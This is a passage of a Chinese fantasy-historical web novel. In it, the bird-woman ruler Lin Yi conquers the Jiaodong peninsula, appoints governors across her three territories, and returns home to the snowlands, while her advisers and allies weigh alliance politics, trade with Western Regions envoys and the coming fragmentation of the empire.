呼兰霍兰听得懂洛下音和林一的一部分齐鲁方言,但是陆行为了让江东世族们更有归属感,他说的当然不是吴郡的方言,而是江东六郡不同方言无缝切换,大致有二十多种,林一起初还能听懂一点,越到后面鸟头越迷糊,方言这玩意儿,有这么多花样的? 她甚至听见了一些长长的弹舌古音,那真是个鼓唇摇舌,陆行是狠人啊,这样叽里咕噜说话,他都没有往外喷口水,甚至表情都是很端庄。 然而底下前排的大世族听得高兴,后排的中小世族们就不一样了,家主族长这些也都是前排中排的,后面的都是些世家子之流,这最后几排的人,有的撇嘴,有的挤眼睛,有的说小话。 “会稽那么多方言,他就晓得说郡城的话吗?窝太湖卫氏不比四姓差多少,他不晓得说点太湖话哄哄窝们?” “窝们建业话他也没讲哦!明明在我们这块开的会,他就不晓得讲,感脚他压根不把建业当回事,这盟主当得则洁是一比吊糟,哪个选他上去嚼蛆的。” “还在嚼!真不晓得一开儿什么时候轮到切饭,把我们都饿死的了他就开心咯。” “虞轻嘞?他上哪开去了?” “没讲得过他!上回我就看到虞轻好像已经想出去了,真不晓得他离开江东要上哪开去,当然陆行哦,他肯定也容不下的。” …… 在这样的气氛下,陆行脸上笑容不减,如同春风拂面,结束了江东联盟第一次会盟现场。 真是一场酣畅淋漓的会盟,后排的中小世族世家子们聊得非常热烈,尤其是建业世族,他们的古语优雅而芬芳,从会盟开场一直说到开席,又说到了回家晚上躺床上,都是在不停地盛赞陆行这个江东王。 林一也提前了解了这个新登台的对手,然后回到了胶东郡,新的对手已经上场,她也不能停滞不前,先定个小目标,抢占青州全境! 江东王的事才让江东人振奋了不到一天,次日林一自即墨起兵,断东莱门户,向内收网,开启了胶东半岛大逃杀。 嗯,世族的大逃杀。 林一是真没有在开战中途引发世家死战的用意,一切等到战后清算才能利益最大化,但是“太岁爷”的人头起到了大作用,整个胶东半岛知道姚百岁的人不少,甚至他还活着,姚家已经在为他建鬼神庙了。 其他世族不见得赞同或者干脆也看不上姚家的作风,可对大部分世族来说,姚百岁是个孩子,一个无辜的都没有做过恶事的孩子,他都死得这样凄惨,那屁股真不怎么干净的世家族人呢?对某些世族来说,姚家的家风其实挺好的,他们唯一出格的就是养姚百岁这个活鬼王了,还是听信方士谗言才做下的,姚百岁他一年才吃几回心肝?有的世族一个月就往乱葬岗扔几次尸体呢。 抵抗来得异常激烈,然后被锤得也异常激烈,林一打到后面就清楚了,越是反抗激烈的就越是不用留手,因为打破城门之后肯定能查出一堆烂事,到后面她也不装了,每到一地直接打出一行字旗。 “鸟大王替天行道”。 东莱王氏小会现场,几个世家子气得翻白眼:“一个江东王,一个鸟大王,大魏已经遍地是王了吗?” 就这比起来,江东王都显得多霸气啊,鸟大王,那白小娘闺名莫非是白大鸟吗? 第126章 当然,这会儿也有人把林一的旗号和辽东那边的鸟大王联系起来的,但是联系起来也没有什么用,世族玩惯的书香墨韵琴棋诗酒,在屠刀面前都显得过于脆弱,整个东莱也就王氏认认真真训练部曲,私兵六千之数,个个披甲带盔。 再再使用数值来形容的话,叶利诃带一半苏赫骑兵的战力是一百,东莱王的部曲私兵战力是一百,一个千分制,一个万分制。 大世族,可不是名将世族,林一封锁了掖县之后,战局就是碾压局。在这样的情况下,大量世族的第一反应不是死战,而是逃走,半岛虽然陆地被封锁,可是茫茫海域就好跑了呀!有的往辽东那边跑,有的拖家带口上海岛,打不过鸟大王还打不过海匪渔霸?当然,往辽东跑的那一批被抓住也就是时间问题。 剩下的死战的,也真就成了死战,东莱王氏损失一半部曲(大部分没死,在俘虏营)后,困守孤城,也就是郡治所在的黄县。其实林一挺费解的,东莱郡如果把郡治设在掖县多好,那才是一郡之锁钥,这一点上人家胶东就做得蛮好的。 攻城为下,林一也没有费劲去打黄县,她现在补给很充足,兵员都是胶东半岛本地人,一座孤城围而不攻影响不大,反而此时最不应该发生的就是损失大量兵员。现在胶东军还没有遇到过败仗,气势非常足,一支军队如果一直能保持这种状态,有时候可以弥补很多实力上的空白。 此时将将二月过半,洛都刚出冬月,魏帝萧宏连收两份悲报,虽然面上还维持着喜怒不形于色的帝王威严,但实际上老头已经走了一会儿了。 这年头车马都很慢,但驿站非常快,这得益于魏朝前头几位君王的好政策,魏帝深吸一口气,先拟旨意下令废后,理由是父兄从贼。 数日时间内,光速求娶河北大族之女为后,稳定了一支大世族的人心,同时命太子废离太子妃,迎娶太原李家女。侧妃、昭训等均从关中河北大族挑选,紧接着下令“赦免”江东被迫从贼之士族,册封会稽虞家家主为江东牧,维持稳定之后,马上再搞一些挑拨离间的操作。 胶东这边的消息也很快,掖县府衙内,崔元和苏起(苏三公子)各坐一席,给林一分析魏帝的用意所在。 “联姻,加重外戚权柄,河北关中陇西一带是他最后的基本盘,大世族通过成为外戚得到更多权利,这是维持稳定。其后册封虞家主为江东牧,双刃剑,江东联盟本就不稳,虞家乃一等大世族,曾与盟主争位,给虞家一个名正言顺的官职,江东内乱一时平歇不了。” “但双刃剑,大王,一个江东六郡,等同于大半个州,这不是江东牧,是半个州牧,而魏朝实质上并没有这种先例,州牧这个名称是建国之初的一些谣传,那时天下多个强国被征服,有人心怀侥幸,认为国主可以降格为州牧,实质上还是周朝分封那一套,所以提出了州牧这个官职,但没有实行过。” “倘若天下稳定,王朝盛世,出了江东这事,册封江东牧是一项挑拨离间的好计谋,可如今这时局……” 苏起和崔元一人一句,崔元脸上露出淡淡的笑容,说道:“群雄并起,不过时间而已。” 林一砸吧了一下嘴巴,“也就是说,他把窗户纸给捅破了,有了半个州牧,很快就会有想当整个的州牧,然后四面割据,啪嗒一下,镜子摔得碎碎的,每人拿一片碎片,对吧?” 她描述得很有画面感,崔元眼睛都水润润的,“正是,女君实在是在下见过的最有明主之象的人,治大国如调小鲜,微言而明大义,启……” 林一摆摆手,“说点正经的。” 最开始她很受不了被夸,崔元是个很会很会说话的人,但夸多了就习惯了,而且会感觉有些浮夸。 苏起就相对正常许多,他像一个被迫上工的劳工,每天忙活事务,有时候被叫来开会都是一脸迷离,林一怀疑是他脑震荡还没好的缘故。昨天私下里的时候,拍了拍呼兰霍兰的腹肌小声叮嘱,下次打人还是不要敲脑袋。当然,以呼兰霍兰的体格,打别的地方也很容易打出事,林一算了算,屁股肉最厚,打起来不容易出事。 呼兰霍兰魂飞天外,好半晌才慢慢反应过来,点点头。 此时苏起还是用他迷离的眼神看一切人和事,声音哑哑的,但不是林一这种鸭子嗓,而是低沉微哑的那种,反正很容易把人耳朵听麻。 “巴蜀一带多山,历来自成一国,如今天下将乱,最好的情况是巴蜀内斗,最坏的情况,也如江东这般出一位巴蜀王。按照最坏的情况推演,我们可以来盘一下之后的局面。” 崔元很感兴趣地凑过去,他的态度非常友善,虽然苏起比较冷淡,但两人现在已经可以勾肩搭背,崔元一只手搭在苏起的肩膀上,和他并看地图(林一手绘版)。 林一也勾着头看。 “巴蜀一带,就以汉中的汉为指代,一个或者两个汉王盘踞,中原以魏指代,河北必有人反,便以河北王为名,山西为朔,荆襄为楚,岭南为粤,江东以吴为王,河西……辽东和胶东,不妨便以鸟来指代主君。” “中原魏、巴蜀汉,山西朔,河北王,江东王,荆襄楚,岭南粤,以及鸟大王三面飞地,这就是未来天下十年内将成之局。” 崔元也点头,但他又摇摇头,“不可能这么齐整的,地方势力割据,这是最坏也可能是最好的情况,因为我们的对手也在扩张,这些对手有强弱之别,地方割据是小事,倘若再出一位……四处打地盘还常胜的将军,拼凑出半壁镜子,我们的对手更少,更可怕。” 他没说江骋的事,只是伸手指点了点雁门这个地图位置,虽然动作比较轻微,但是看起来非常潇洒。 大约所谓指点江山,挥斥方遒,就是如此了。 林一对这些很感兴趣的,伸过鸟头,提笔在各个方位圈地,“楚粤可以忽略不计,中原也可以忽略不计,河北和山西两地是重点,我的兵力不足备打下这些地盘,实际上三块地盘已经把很多兵力拖在各郡各县了,需要治理一段时间。” 是的,势力有一个消化期,最早打下来的辽东就被消化得很好,现在辽东这边撤离苏赫骑兵也不会反她,但是河西四郡不同,只要苏赫骑兵撤走,马上就会反扑。 还有胶东,林一屁股一离开掖县,胶东半岛很快就能被魏朝或者世族给收回去,因为她在胶东的基础盘是农夫渔民,一个不成熟的起义阶层如果没有正确的引导,就会落到朱大方那样的下场。 盲目扩张是灾难性的,也就是说至少一两年内,林一没办法扩张更多的地盘了。 崔元对此很乐观,“说是飞地,但辽东与胶东之间有海相连,四郡背靠雪域,并非是真正的飞地,而且女君可以三处坐镇,这是谁都比不了的优势啊!” 说到这个,苏起看了一眼林一,他到现在看过林一两次鸟形了,每次……都挺想翻翻看是不是人藏在鸟皮套底下了,他还是不大敢相信,自己突然入了一伙势力,然后势力的主公……主君是一位女子、不!雌鸟? 林一给了他一个疑惑的眼神。 苏起收敛神情,沉思片刻道:“大约一两年时间,割据势力会很快完成,到时候需要攻打的就不再是一盘散沙了,但,若以天下为棋盘,我们已经三角在手,优势在我。” 林一瞅了瞅地图,差点笑出声,还真是三角,四郡本身就在魏朝版图的边缘,胶东是个半岛,辽东也是个半岛,三个刚刚好的角。 收好地图,林一把两人拢在一起,一手牵一个,把两人的手合在一起,非常认真地道:“这两年,胶东,全权交给两位了。” 崔元反手握住了苏起的手,露出一个黏糊糊的笑容来,顺手摸了摸苏起骨节分明的手背,然后撅起了嘴唇往前凑。 苏起面无表情地推了作势要过来亲他脸的崔元一把,“已婚,妻妾三人,不玩男人。” 崔元用手指点了点自己的鼻子,有一点玩笑,有一点认真地道:“未婚,自小无约,二十有四,不曾沾女色,不曾有露水情缘,这世间女子我看不上九成九,身无隐疾,月均四次……” 他的脸是对着苏起的,后脑勺对着林一,而苏起眯着迷离的眼神,给了一个嘲弄的表情。 有胆子说这话,你有胆子面对喃! 林一看热闹呢,她还从来没见过男人对男人说情话,虽然知道崔元是个挺爱开玩笑的人,可是看起来是真的有意思啊!尤其苏起还是被崔元放出来的! 此时月上中天,鸟大王看了看平静的夜空,心头动了动。 该回家了! 第127章 林一算了算自己目前并不相连的三块地盘。 雍西四郡,配置姜命,辽东,配置崔殊,胶东,配置崔元和苏起,头脑全部到位,还得留一个在必要时候能掌控战局的,就像魏朝那样,在一个郡配置郡守,然后再配置一个都尉。 林一决定了,把之前狼狈为奸的韩小六和崔殊再凑合到一处,辽东那个环境下,他要打也是往辽西打,而不是往海里撞,这样辽东那边就形成一个完整的矛盾形态,郡守崔殊,都尉韩小六,战车组装完成。 而胶东这边,不留下一个狠人是无法镇压的,这是一片被世族统治了太久的地方。 林一的视线落在呼兰霍兰身上。 她戳戳呼兰霍兰的肩膀,压低声音问道:“霍兰,如果把你留在胶东一段时间,你怕不怕?会不会担心呼兰部落那边……” 林一的话都没有讲完,呼兰霍兰虎背熊腰都被这一戳给戳得麻麻的,顿时红晕从脸上蔓延到脖颈,他呐呐地说:“不怕,部落有族老,他们遇事不死就行。” 现在林一发现呼兰霍兰越来越好交流了,也许是交流得多了吧。 安排好了胶东这里,林一又飞往雍西张掖郡,到了之后发现姜命不在,一问才知道他现在常驻武威,有时还往玉门跑,真是一个人掰开当四个用,匆匆到了武威那边,林一见到了久违的乌苏。 乌苏郡王可真一点都没有偷懒,以他的年纪,在世家之中都可以出门游学去了,但他的学识非常偏科。很多东西都是王澈煮熟了浇上料汁喂给他,在他学过的一些方面,他能把大多数世家子按在地上锤,有些东西王澈七挑八拣就扔掉了,好多都是基础中的基础。让天才来教小孩就是这样的,很多东西天才会觉得,这玩意儿难道不是看一眼就会?是人就会!有脑就会! 姜命意识到这点后,就专门请了先生来给乌苏补课了,先生脑壳也大,这位殿下有时候才学惊人,有时候……唉,谁家这样误人子弟。 姜命是真的很忙,但林一只是坐着啄了几口热茶,他就匆匆赶来了,一见到她就行了个世家礼节,林一看到他额前有些碎发是湿漉漉的,就知道他来之前还洗过脸了,摆摆手,笑着说道:“没事,我来没什么大事,造化,我就是想问问你,你在辽东那边有没有什么想带过来的亲友师弟之类,现在他们都在给崔殊做事,你这边地盘这么大反而没有什么人手……” 以鸟的厚脸皮,都觉得不好意思啊! 姜命大概猜得出来,他只要列个名单就行,辽东距离雍西,那真是一个东一个西,数千里之遥,那岂不是要让那些亲朋好友都被鸟大王一趟趟抱过来?他毫不犹豫地道:“落地生根,他们习惯了辽东的环境,就待着没关系的,雍西一时难以治理平顺,不过造化已经在招募人手。” 他招了招手,把一个粗壮妇人叫到近前,向林一介绍道:“主君,这位白二娘子,乃是天水军中之女将,汾水之战后,她带领千余妇人返乡,一路骁勇,归家安定,造化赈灾时她带兵来投,如今正在武威学堂听课。” 这话其实有些奇怪的,带兵来投的女将,咋就给人安排去上课了?不过这其实是非常符合国情的事,类似于有战功的部曲,世族想要提拔他,第一要做的就是让部曲识字,这才是真的看重。 林一见白二要磕头,摆摆手,和她握了握手,“好!好样的,我没见过朱大方,但是见过朱二脑袋,天水军是军是贼说不清,但是就冲着你们敢起兵,值得一声敬重。” 一个势力的崛起,往往是深思熟虑的,如同江东王陆行,他最早看出江东独立的潜力,然后付诸行动,这样的势力在成立之初就是稳定的,可以直接割据一方。但农民起义是随机的,一锄头下去,滚滚车轮大势如潮就停不下来了,这种人,先驱者,没有多少下场好的。 林一始终对天水军抱有一种愧意,如果不是那时候她同时在雍西开战,战局离不得人,她本可以在天水军失控之初把这支流民大军收拢起来的,但是她任他们脱缰了,最终汾水一战,尸骨如山。 白二声音粗嘎嘎的,她努力斯斯文文地说道:“似额们错了,姜郡守才是对嘞。” 她是从天水军起义之初就跟着干的,亲眼见到了朱大方登高一呼,万民来投的开头,那时候只顾着疯,直到坐进学堂里,听先生讲课,听郡守讲兵事,好几次她都哭了,原来他们是能做得更好的。去年浩浩荡荡席卷关中的天水军,在世族大儒先生的口中,只剩下两个字:盲目。 白二不服先生,但她服气姜命,姜命和林一的态度一样,是惋惜悲哀,姜命给白二等新将复盘天水军的每一个步骤,无数次讲过“如果此时这样,就好了”“如果此时停步,就好了”,她越是听,越是发现,姜郡守是希望他们“好”的。 当然,在林一看来姜命在军事上也就是个半吊子罢了,他所设想的每一步都是以割据为前提。 白二退下后,林一吃了些新炸的春虫,思索片刻,对姜命说道:“我准备在雍西四郡,再安排三个郡守了,但是,她们在第一年受你管辖,四郡同气连枝,造化,你有没有意见?” 姜命没有意见,直接应下,“这样一来,四郡之中,造化需要居中位,造化便为张掖郡守,其余三郡之牧守,主君已经有了人选吗?” 林一点头。 庞家两姐妹和祝若嫣,她们已经初步完成了雪域部落人口大普查,当然了,是对主要部落的普查,一些偏远的中小部落,她预备等今年夏秋季自己忙活忙活。 基层管理很能锻炼人,如今庞家姐妹和祝若嫣的精气神都和最开始不一样了,处理事务也很熟练,只是没有做郡守的经验而已,正好让姜命带一带,反正她是回雪域又不是嘎掉了,有谁不能适应郡守的位置随时撤换嘛。 而且祝若嫣,她要放在玉门这个位置上,那里是和西域诸国连通之关隘,非常适合一个八面玲珑的女子任官,武威郡地理险要,为了防止有人走和她一样的路线,林一准备让庞半天来镇守,她自带六个呼兰打手,等于自带六个家将,接着都尉可以安排上……嗯,她那一脸胡茬的干儿子。 如果有人不记得林一有过干儿子的话,可以往前翻翻,在不记得是哪一章里明确记载,玉门都尉郑石郑北山通敌叛国,对苏赫阿那叫了爸爸,相应的,他也对林一磕头认了干娘。 郑北山这个人军事实力还成的,不然也不会得到叶朔老元帅的看重,收他为义子干儿,精心为他铺路,人家磕头叫父喊娘,还不是为了奔个前程的,从玉门都尉到武威都尉,这几乎是个平调,但郑北山收到指令之后马上收拾东西带着一众妻妾儿女启程前往武威,一句怨言都没有。 对林一的这个决定,姜命其实持有一些不同意见,但他没吭声,大不了武威那边他多看顾些。 在把韩小六扔到辽东之后,看完阔别大半年的狼狈……咳,将谋二人抱头痛哭,林一彻底自由了。 她往回飞的路上还找了个溪流照了照影子……嗯,比起之前黑羽里一堆毛毛糙糙白羽管的丑样子,她现在看起来更丑了。新羽是金红底色,五彩绚烂的,有些像是大公鸡的尾羽但比那个漂亮许多,羽尾有光晕似的纹路,但是很多羽管没长熟,为了飞行,黑色的雏羽又没有褪干净,这就导致了她看上去很像是一只杂毛大鸟,斑点鸡鸭什么的。 最丑的是,她的鸟头秃顶了,绒毛褪干净了,露出一层白皮,然后皮下有一层小羽管顶出来,似乎是准备长出更好看的凤毛,但不管怎么样来说,她都秃顶了! 林一抱着沉重的心情回到雪域,雪域此时化雪不多,但气温已经不怎么冷,远远地看到她的鸟身,就有很多骑马的青壮欢呼着追跑一段路。 她偷偷摸摸找了个地方飞落下来,然后化为人形,穿上衣服,闷头冲进议事大帐里,也不管苏赫阿那在和什么人谈什么事,总之一把抄起他就往外跑。 苏赫铎也在,见到阿父被抱走了,马上咧开嘴露出一个英俊的笑容,对西域使者笑着说道:“俺爹有点事,接下来跟俺谈就行。” 他大大咧咧做出了让西域使者倒吸一口凉气,整个使团齐齐向后退三步的行为:从侧位的座椅上挪了挪屁股,往可汗大座上一坐,还翘起了腿。 西域使者肉眼可见地慌了,这雪域霸主部落内部到底是什么情况,严肃的外交场合,那位风度翩翩而充满智慧的大汗被女人一把抱走,而王子一屁股坐上汗位……!!! 第128章 当然,这在苏赫铎看来不是大事,雪域对这方面算得不是那么清楚的,别讲是他了,就是打扫帐子的亲卫扫累了,随便找个位置坐一坐也是可以的,就是一般人不会爬那么远坐到可汗大座上去而已。 通商,西域使者谈的当然是通商问题,他们用金子香料和马匹换取魏朝的丝绸瓷器,当然也有其他往来,不过这几项交易是大头。魏朝的丝绸和瓷器,尤其是风氏瓷,销往远东之国乃至西方诸邦国,都是非常稳赚不赔的买卖。这年头船行不了太远,海运基本达不到要求,大多是走陆路,而魏朝和西域诸国的陆路,很不凑巧只有一条,雍西四郡。 严格来说,整个雍西四郡就是一条通往西域的走廊,从玉门关入,到武威郡出,两边不是戈壁就是荒漠,事实上这四郡属于一个大沙漠中的水源绿洲之地。 自从四郡被打下,走廊两端就被关闭了,姜命接手之后一直只允许特定的商队进入,而拒绝了绝大部分的商队进入,说实话,造成了很大的麻烦,主要是魏朝这边也不敢来跟他谈。 魏朝断了这条主要的西域通商路线,西域也断了大部分啊,不搞商业他们吃啥?在这样的情况下,西域诸小国以龟兹国为主,凑了十个小国作为使团出使雪域,向这位雪域霸主求一份赦免。 苏赫阿那对时局虽然不甚了解,但是有王澈作为补充,使团来之前王澈就给苏赫部的主要高层开了个小型会议。 “西域诸国,不能算是国家,他们是依靠沙漠绿洲生存的一个个中小部落,自称为国,是给自己脸上贴了金。他们其实更像是汪古部,往来贩卖魏朝的奢侈品,转手十倍利以上,一个通俗的说法,中间商。” 王澈瘫在轮椅上,示意堂兄几句话,然后王澜就在议事大帐中间的平地上用棍子画出路线图,“西域有两条通商渠道,北道是楼兰往龟兹,过疏勒国,经大宛,抵达安息(波斯)国。安息人赚得最狠,是这条路上最大的中间商,所有的货物在这里中转,然后销往强盛的大秦(罗马)帝国。大秦的货物来到安息,安息商人就叫他们波斯货,然后再往魏朝卖……世族看不上,平民买不起,大多销在西域本土,所以这其实是一条以魏朝市场为主的商路。” “南道走于阗国,过莎车,经高原,销往身毒国(印度),走这条路的商人一般没什么大本钱,因为身毒国不是大秦那样好打交道,需要有寺庙的渠道。身毒国气候暖热,稻米多熟,但是他们的平民会积攒一年的钱,然后捐给寺庙,有钱的是寺庙,他们用金子给一种叫做佛的神像塑身,没人会去偷金身,寺庙挑选青壮做和尚,比世家还狠。” “姜造化现在禁了通商,又允许一部分商品交易,就是在给我们谈条件的余裕。大汗,这事有得谈,只有一样要注意,商人的话一个字都不能信,抽价抽到他们大喊大叫,那是只刮下来一点皮毛,他们双手合十哭泣哀求,不要理睬,他们发疯拿刀,不必理会,最后不吵不闹不说话,但是还能点头同意,说明价钱还在他们能承受的范围内。慢慢谈,急的不是我们。” 这些东西苏赫阿那从前是不管的,因为雍西四郡不在雪域人手里,据说当初在的时候,大单于也开商路,向商人收高税,雪域大单于基本上就等于现在的安息国。 而他们如今得了四郡,有几条路可走:第一,重开商路,任由魏朝和西域通商,从中抽取几成利,要不了几年就能富得流油。第二,断绝商路,这保护了四郡不被外来势力探索,可以安心发展,唯一要考虑的就是西域诸国会不会铤而走险。第三,开一部分,允许特定的商品交易,然后收税。 苏赫阿那是最倾向于第三种的,现在的雪域不怎么缺钱,断绝商路给四郡带来更深的麻烦,折衷是最好的办法,既能赚一笔钱,也不会把双方逼得狗急跳墙,因为西域诸国人家是真的靠这个活。 和使团商量的正是哪些特定商品可以交易,哪些不可以*,从中抽取多少利润。商人的本质就是钱,为了钱敢于冒一切风险,他们使用各种话术来为自己争取最大利益,就像一个魏朝笑话说的那样,一个富商进了大牢,打一顿吐出一些钱,打一顿吐出一些钱,直到所有人都觉得他快要死了,把他丢出去,商人醒过来之后,带着藏起来的八成财产跑了。 西域诸国就是这样的,这些年其实也没少挨魏朝的打,但是头可以掉,钱不能丢,还是可以坐下来再谈谈的嘛! 苏赫阿那和使团谈时,是连消带打,底线咬得很死,西域人接受不了这个价钱,各种哭诉哀求缠磨,为了这个,他们带来大量礼物,希望能迷花雪域人的眼睛,除了礼物,还有美人,甚至都不是什么西域胡姬,而是波斯公主!虽然现在的波斯国王有三十三个公主那么多,商人只要出得起价钱,就可以从皇宫领出来,但他们听说在雪域和魏朝这些地方,公主相当值钱。 苏赫铎翻了礼物,又看过了公主,带着使团去看了苏赫骑兵,很是威风了个够,然后两手一摊,表示这事俺也没法子做主。 整个雪域能做主的人都在屋里呢。 这个天气苏赫阿那已经不烧火炕了,被褥有些冷,但是林一一窝上去,很快暖得一屋子都是干燥热乎的气息,苏赫阿那有两个多月没有见她,一见就被按在炕上,实在是服气,再也没有说雏鸟的事。 一只未长成的雏鸟,却是个天生的小暴君,她不仅统治了大片大片的土地,也在统治他的心田,没有任何法子,你不顺着她来,她能消失几个月不见,就像是一个抛弃警告。 苏赫阿那做了一个很不苏赫阿那的行为,他把脸埋进了林一的胸羽里,闷闷的声音从羽毛底下传来,“再也……不会让你不开心了。” 林一抱着他在床上打滚,然后很认真地指着自己头顶,声音也闷闷的,“我想过长好一身整齐的新羽,做个最威风漂亮的大鸟回来见你,可是它们长得太慢了,雏羽还在一直掉,我很怕雏羽掉光,然后新羽没长,这样就不能飞回来了。” 半秃毛鸡合拢翅膀,把苏赫阿那圈进怀抱里。 “所以我回家来了,这里是我的家,你不能因为我还在长羽毛就不让我回家。” 苏赫阿那哭笑不得,这是倒打一耙,他什么时候不让他的可敦回家?只是禁欲……他甚至还没组织好语言,林一就咔咔回到人身,一头扎进了他宽阔的胸怀里。 苏赫阿那的脸色顿时变得很……沉默,不多时,她似乎是蹭够了,然后响起熟悉的嘬嘬声。 原来这只小色鸟的家,指的是这个。 …… 林一快乐回家的同时,远在辽东,韩小六和崔殊还没有叙完别离之情,崔殊看着韩小六,是真的莫名想哭,感慨地道:“自从离开韩将军,异人度日艰难,在这辽东偏远之地,能再见将军,实在是……呜!” 他真的憋出了一声哭腔。 韩小六也非常感动,哭诉着他老娘已经不再只爱他一个了,他每天看着各种候选爹来来往往,说真的,克托万骑长也就算了吧,至少年龄相差几岁而已,秃发千骑你来凑什么热闹!你不是才二十来岁的吗? 崔殊露出了一个感兴趣的表情,伸手做了个你说你说的手势。 韩小六就哭着把他娘在雪域的《窝一个淮阴大娘在雪域遇到了一二三四五六个男人,都非我不嫁》的故事,故事里除了有克托,还有一个长得像四十岁但其实二十来岁的雪域青壮千骑,据说故事始于他娘认错了秃发千骑的年纪,喊他大哥,请他来帮忙搬黑石。 然后这个小伙子就沦陷了,每天黑着个脸过来干活,直到被人拆穿他不是四十岁的大哥,是个二十岁的……嗯?对他娘来说可以当儿子的年纪。 崔殊煞有介事地对比了一下,“韩大娘还是选择秃发千骑比较合适,毕竟老骑兵和青壮不一样的,韩将军,你听过骑马磨裆吗?磨得多了那方面就不好了。” 韩小六震惊,然后也压低了嗓音,“不能吧,我听说叶利诃万骑那方面还不错的,洗雪澡的时候我看过他们……” “骑兵家庭,孩子都不多,印证了这点。”崔殊分析道:“叶利诃很壮,才四十多岁,格桑大娘的体格很好,他们只有两个孩子,可见就算没有影响能力,也影响了生育。” 韩小六一拍脑袋,“那克托万骑不是正好,我娘这个年纪了,她刚好不用再生了啊!” 崔殊挑了挑眉毛,不愧是妇人独力养出的孩子,这年头可是很少有人想到大龄妇人生育艰难的,一个妇人从年少生到年老是很正常的事,他拍了拍韩小六的肩膀,盘算着把这个好男人贩给哪个堂妹比较好呢。 第129章 不叙闲事,就像先前在北都的习惯那样,崔殊给韩小六掰开揉碎了讲辽东的局势。 坦白来说,姜命干得很好,崔殊自己知道自己,他也许可以在某些方面比姜造化做得更好,但他没有那份把民生放在第一位,把什么事都做到谨慎细致的耐心。他坐在这儿只是因为林一手底下能用的人太少了,不得不把屠龙刀拿来切葱花。 姜命当然也不是用来切葱花的,他分管辽东属实是有一些屈才,别的不说,光是农耕这一块儿就做得极好,几乎完全过渡了林一带来的三样新种和老五谷,各县各村适合种什么就分配什么种子,甚至顺带手平衡了物价。 去岁闹得那么大的蝗灾,辽东同样被波及,只是相比起辽西的惨淡,辽东靠着埋在地下的土豆撑了过来,还支援了隔壁的辽西,两郡今年冬季都没有怎么饿死人。 “得必有失,姜兄出身辽西郡姜氏分支,辽西郡望姜氏,底下人心本就不大稳当,辽东辽西都是姜氏郡守,对辽西世族而言,天然不信任姜命,换上我来,也是一饮一啄。” 崔殊解释了一通,对韩小六来说耳朵一过罢了,他捧着一碗苞米粥稀溜溜地喝着,知道按照崔殊的习惯,很快就要到正题。 正题来了。 崔殊从桌柜里开锁,取出林一绘制的辽东周边图,真的只是周边,一侧是海,一侧是海对过的胶东半岛,然后是隔壁的辽西郡,精确到各县各村,崔殊指点道:“辽西重镇也,设有两名都尉,一在柳城,西部都尉驻防辽河中游渡口,一在交黎,东部都尉护卫北山区通道,大凌河谷与医巫闾山关隘,想要打辽西,避不开这两处都尉。” 韩小六点点头,他对地图很敏锐,辽西当初设置两处都尉的原因就是这个,倘若有敌自辽西来攻,就算辽西陷落,守住这两处要道,辽东一时无碍,但是当初设立这两处都尉府的人大概也没想过,会是辽东这边来打辽西。 崔殊却忽然话锋一转,“强攻虽可,但智取更佳,西部都尉陈律,我与他书信来往有一段时日了,如今天下变局,他认为跟着姜氏混没什么前程,承诺若我们来攻,他配合我们取下东部都尉军。” 韩小六疑惑道:“可是辽东这边,没什么能给他更进一步的官职吧?” 辽西都尉平换辽东都尉?听上去咋那么奇怪呢?而且他这趟来不就是来任辽东都尉的?这位置难不成还要竞争上岗? 崔殊摆摆手,“辽东给不了,主君能给,或者说未来的主君能给,小六你不懂,这就是世家的投资策略。往后我们再也不是打那些野人部落了,你要习惯,每次战事之后必然有人投诚,而有远见的世族会在战事之前就来投,这都是很正常的事。” 韩小六懂了,琢磨了一下说道:“就像军师的崔氏,假如可敦打到范阳,其他世族可能就宰了,但是遇到了崔氏,肯定就不会宰了,战后崔氏没准能在范阳一家独大。” 崔殊捋了一下他的鲶鱼须须,微笑着说道:“小六啊,再教你世家的一套规矩。” 韩小六茫然。 崔殊暴起,把他按在书桌上痛打,一边打一边说:“有些事能做不能说,说出来不会显得多高明,什么叫崔氏能在范阳一家独大,我们本来就……” 韩小六被掐得吐舌头,还是不能理解,“可是军师上次还说,范阳卢氏也很厉害的。” 崔殊放开他,两手一摊,坐了回去,“所以他们也会投资,但不会投资主君了,天下乱世将至,世族也有自己的算盘,最次是保家族火种不灭,最上者,想要于新朝世世代代扎根繁衍。” 这是生存啊。 世族换个名头,叫做宗族,哪有世族是真的和平民贱庶是割裂的呢?一个大世族传承千年下来,一个郡中同姓的,哪个千年前不是一个祖宗。也许千年前同祖,千年后他坐堂前听小曲,你跪堂下弹琵琶,但世族正是庇佑一个姓氏在当地枝繁叶茂的力量,或者说因为这个世族枝繁叶茂,才有主支做大做强。 对一个郡来说,失去头上的世族,真不一定是好事,他们很可能失去了宗族向上的渠道,也失去了发声的机会。崔殊是真的不理解林一为什么如此抗拒世族,或者说,没有世族,她准备用什么呢?寒门和世族只是有钱和没钱区别罢了,寒门同样是贵姓之子。 远在胶东的呼兰霍兰遭遇了同样的困境。 胶东世族多,胶东郡和东莱族的世族加起来大大小小六十多家是有的,除了东莱王和胶东王之外,两郡各有六家中等世族,其余的小世族和寒门占据了胶东半岛七成的良田。 崔元是外来户,他能在很短时间内整合胶东郡的势力,其实是说服了世家投诚的结果,苏起更是本地世族的代表。林一走前是杀了一些世家子,但要不就是南约那种犯了事的,要不就是姚家这种养活鬼王的,砍的人数是挺多。但是吧,剩余的人更多,也有很多世族人家家风是清正的,子弟是温文尔雅不作奸犯科的,胶东半岛这情况和辽东不能一概而论,甚至和雍西四郡也不能相比。 呼兰霍兰是名义上的郡守,两人给他打下手是做左右郡丞,都尉还是由呼兰霍兰兼任,而实际上,霍兰干的就是都尉的活计。 他每天带着甄及和土匪们还有郡中良家子恶少年等组成的杂合军训练,其余的事不管,主要是林一也没想好该拿胶东半岛的这些世族怎么办。崔元有一天夜晚来找呼兰霍兰,谈了大半夜,因为崔元本身就有一些爱开玩笑,而且他不和女子开玩笑,这就造成了名声上头有一点……总之第二天,军中看呼兰霍兰的眼神就有一些不对。 恶少年宋康乐自那天跟着林一打即墨之后,就一腔热血踊跃报名参军。他家是即墨县城的,自小吃得饱穿得暖,别说和那些海飘子比了,就是拎到雪域上也算一个大高个,所以很快就干到了小队长的位置。他年纪轻,底下人也愿意和他亲近,今早一到校场,就有人叽叽咕咕和他说了昨晚的八卦。 呼兰霍兰来到校场时,天色还很早,他顺手拍了一下宋康乐的脊背,“聊什么,眉飞色舞的,去训……” 话没说完,宋康乐像个被猎狗追逐的兔子,猛然朝前窜了一大截,回头一脸的惊恐。 呼兰霍兰陷入沉思,他又更加吓人了吗? 